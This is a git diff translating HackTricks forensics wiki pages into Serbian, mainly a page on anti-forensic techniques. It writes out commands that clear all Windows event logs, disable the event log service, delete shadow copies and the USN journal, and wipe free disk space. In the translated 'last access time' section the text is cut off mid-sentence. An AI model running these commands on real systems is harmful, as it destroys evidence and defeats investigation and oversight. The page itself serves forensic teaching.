-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index 5b1e70c22..5037f1e82 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -1,40 +1,40 @@ -# Basic Forensic Methodology +# Osnovna forenzička metodologija
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-## Creating and Mounting an Image +## Kreiranje i montiranje slike {% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %} [image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md) {% endcontent-ref %} -## Malware Analysis +## Analiza malvera -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Ovo **nije neophodan prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku fajl-sistema, sliku memorije, pcap... pa je dobro **imati ove akcije na umu**: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Inspecting an Image +## Inspekcija slike -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, korišćeni fajl-sistem** i **oporavljati** potencijalno **interesantne datoteke** (čak i one obrisane). Saznajte kako u: {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) {% endcontent-ref %} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Zavisno od korišćenih operativnih sistema i čak platformi, treba tražiti različite interesantne artefakte: {% content-ref url="windows-forensics/" %} [windows-forensics](windows-forensics/) @@ -48,42 +48,42 @@ Depending on the used OSs and even platform different interesting artifacts shou [docker-forensics.md](docker-forensics.md) {% endcontent-ref %} -## Deep inspection of specific file-types and Software +## Detaljna inspekcija određenih tipova datoteka i softvera -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Ako imate veoma **sumnjivu** **datoteku**, onda **zavisno od tipa datoteke i softvera** koji ju je kreirao, nekoliko **trikova** može biti korisno.\ +Pročitajte sledeću stranicu da biste naučili neke interesantne trikove: {% content-ref url="specific-software-file-type-tricks/" %} [specific-software-file-type-tricks](specific-software-file-type-tricks/) {% endcontent-ref %} -I want to do a special mention to the page: +Želim da posebno pomenem stranicu: {% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %} [browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md) {% endcontent-ref %} -## Memory Dump Inspection +## Inspekcija memorijskog ispisa {% content-ref url="memory-dump-analysis/" %} [memory-dump-analysis](memory-dump-analysis/) {% endcontent-ref %} -## Pcap Inspection +## Inspekcija pcap datoteka {% content-ref url="pcap-inspection/" %} [pcap-inspection](pcap-inspection/) {% endcontent-ref %} -## **Anti-Forensic Techniques** +## **Anti-forenzičke tehnike** -Keep in mind the possible use of anti-forensic techniques: +Imajte na umu moguću upotrebu anti-forenzičkih tehnika: {% content-ref url="anti-forensic-techniques.md" %} [anti-forensic-techniques.md](anti-forensic-techniques.md) {% endcontent-ref %} -## Threat Hunting +## Lov na pretnje {% content-ref url="file-integrity-monitoring.md" %} [file-integrity-monitoring.md](file-integrity-monitoring.md) @@ -91,12 +91,12 @@ Keep in mind the possible use of anti-forensic techniques:
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 91f89eb8e..60ca17092 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,181 +1,171 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Timestamps +# Vremenske oznake -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`. +Napadač može biti zainteresovan za **menjanje vremenskih oznaka datoteka** kako bi izbegao otkrivanje.\ +Moguće je pronaći vremenske oznake unutar MFT-a u atributima `$STANDARD_INFORMATION` __ i __ `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreiranje** i **modifikacija MFT registra** (MACE ili MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows explorer** i druge alatke prikazuju informacije iz **`$STANDARD_INFORMATION`**. -## TimeStomp - Anti-forensic Tool +## TimeStomp - Anti-forenzički alat -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Ovaj alat **menja** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali ne** i informacije unutar **`$FILE_NAME`**. Zbog toga je moguće **identifikovati** **sumnjive** **aktivnosti**. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN Journal** (Update Sequence Number Journal) je funkcija NTFS (Windows NT fajl sistem) koja prati promene na volumenu. Alatka [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava pregled ovih promena. ![](<../../.gitbook/assets/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +Prethodna slika je **izlaz** prikazan od strane **alatke** gde se može primetiti da su neke **promene izvršene** na datoteci. ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Sve promene metapodataka na fajl sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Beleženi metapodaci se čuvaju u fajlu nazvanom `**$LogFile**`, smeštenom u korenom direktorijumu NTFS fajl sistema. Alatke poput [LogFileParser](https://github.com/jschicht/LogFileParser) se mogu koristiti za parsiranje ovog fajla i identifikaciju promena. ![](<../../.gitbook/assets/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Ponovo, u izlazu alatke je moguće videti da su **izvršene neke promene**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Korišćenjem iste alatke moguće je identifikovati **kada su vremenske oznake modifikovane**: ![](<../../.gitbook/assets/image (451).png>) -* CTIME: File's creation time -* ATIME: File's modification time -* MTIME: File's MFT registry modification -* RTIME: File's access time +* CTIME: Vreme kreiranja fajla +* ATIME: Vreme modifikacije fajla +* MTIME: Vreme modifikacije MFT registra fajla +* RTIME: Vreme pristupa fajlu -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## Poređenje `$STANDARD_INFORMATION` i `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Još jedan način za identifikaciju sumnjivo modifikovanih datoteka je poređenje vremena na oba atributa u potrazi za **neslaganjima**. -## Nanoseconds +## Nanosekunde -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +Vremenske oznake **NTFS** imaju **preciznost** od **100 nanosekundi**. Zato je veoma sumnjivo pronaći datoteke sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000**. -## SetMace - Anti-forensic Tool +## SetMace - Anti-forenzički alat -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Viste, potrebno je da operativni sistem bude uključen kako bi se ove informacije modifikovale. -# Data Hiding +# Sakrivanje podataka -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka zauzima klaster i po, **preostali pola klastera nikada neće biti korišćen** sve dok datoteka ne bude obrisana. Zato je moguće **sakriti podatke u ovom prostoru**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Postoje alatke poput slacker koje omogućavaju sakrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su neki podaci dodati: ![](<../../.gitbook/assets/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Zatim, moguće je povratiti prostor korišćenjem alatki poput FTK Imager. Imajte na umu da ovakve alatke mogu sačuvati sadržaj obfuskovan ili čak šifrovan. # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Ovo je alatka koja će **isključiti računar ako se detektuje bilo kakva promena na USB** portovima.\ +Način da se ovo otkrije je da se pregledaju pokrenuti procesi i **pregledaju svi pokrenuti Python skriptovi**. -# Live Linux Distributions +# Linux distribucije uživo -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da se otkriju je **ako je NTFS fajl-sistem montiran sa dozvolama za pisanje**. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad. -# Secure Deletion +# Sigurno brisanje [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windows konfiguracija -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga otežala. -## Disable Timestamps - UserAssist +## Onemogućavanje vremenskih oznaka - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Ovo je registarski ključ koji čuva datume i sate kada je svaki izvršni fajl pokrenut od strane korisnika. -Disabling UserAssist requires two steps: +Onemogućavanje UserAssist zahteva dva koraka: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Postavite dva registarska ključa, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako biste signalizirali da želite da se UserAssist onemogući. +2. Obrišite podstabla registra koja izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Disable Timestamps - Prefetch +## Onemogućavanje vremenskih oznaka - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Ovo će sačuvati informacije o aplikacijama koje su pokrenute u cilju poboljšanja performansi Windows sistema. Međutim, ovo takođe može biti korisno za forenzičke prakse. -* Execute `regedit` -* Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -* Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -* Select Modify on each of these to change the value from 1 (or 3) to 0 -* Restart +* Izvršite `regedit` +* Izaberite putanju fajla `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +* Desnim klikom na `EnablePrefetcher` i `EnableSuperfetch` +* Izaberite Modify na svakom od njih da biste promenili vrednost sa 1 (ili 3) na 0 +* Restartujte -## Disable Timestamps - Last Access Time +## Onemogućavanje vremenskih oznaka - Vreme poslednjeg pristupa -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Svaki put kada se otvori folder sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira vremensko polje na svakom navedenom folderu**, nazvano vreme poslednjeg +## Brisanje istorije USB uređaja -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +Svi unosi o **USB uređajima** se čuvaju u Windows registru pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj na računar. Ovaj ključ se može pronaći ovde: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovog ključa** ćete obrisati istoriju USB uređaja.\ +Takođe možete koristiti alatku [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) da biste bili sigurni da ste ih obrisali (i da biste ih obrisali). -## Delete USB History +Još jedan fajl koji čuva informacije o USB uređajima je fajl `setupapi.dev.log` unutar `C:\Windows\INF`. Ovaj fajl takođe treba obrisati. -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them). +## Onemogući Shadow kopije -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +**Izlistajte** shadow kopije sa `vssadmin list shadowstorage`\ +**Obrišite** ih pokretanjem `vssadmin delete shadow` -## Disable Shadow Copies +Takođe ih možete obrisati putem grafičkog interfejsa prateći korake predložene na [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +Da biste onemogućili shadow kopije, sledite korake sa [ovog linka](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +1. Otvorite program Services tako što ćete u tekstualnom pretraživaču kucati "services" nakon što kliknete na dugme za pokretanje Windowsa. +2. Na listi pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Properties opciji desnim klikom. +3. Izaberite Disabled iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Apply i OK. -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Takođe je moguće izmeniti konfiguraciju kojih fajlova će biti kopirano u shadow kopiju u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +## Prepisivanje obrisanih fajlova -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +* Možete koristiti **Windows alatku**: `cipher /w:C` Ovo će narediti cipher-u da ukloni sve podatke sa dostupnog neiskorišćenog prostora na disku C. +* Takođe možete koristiti alatke kao što je [**Eraser**](https://eraser.heidi.ie) -## Overwrite deleted files +## Brisanje Windows događajnih logova -* You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -* You can also use tools like [**Eraser**](https://eraser.heidi.ie) - -## Delete Windows event logs - -* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +* Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log" * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Onemogući Windows događajne logove * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -* Inside the services section disable the service "Windows Event Log" -* `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +* Unutar sekcije Services onemogućite servis "Windows Event Log" +* `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl` -## Disable $UsnJrnl +## Onemogući $UsnJrnl * `fsutil usn deletejournal /d c:`
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje tako što ćete slati PR-ove na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index 568cc58ca..1ad54a58b 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,31 +1,28 @@ -# Docker Forensics +# Forenzika Docker-a
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
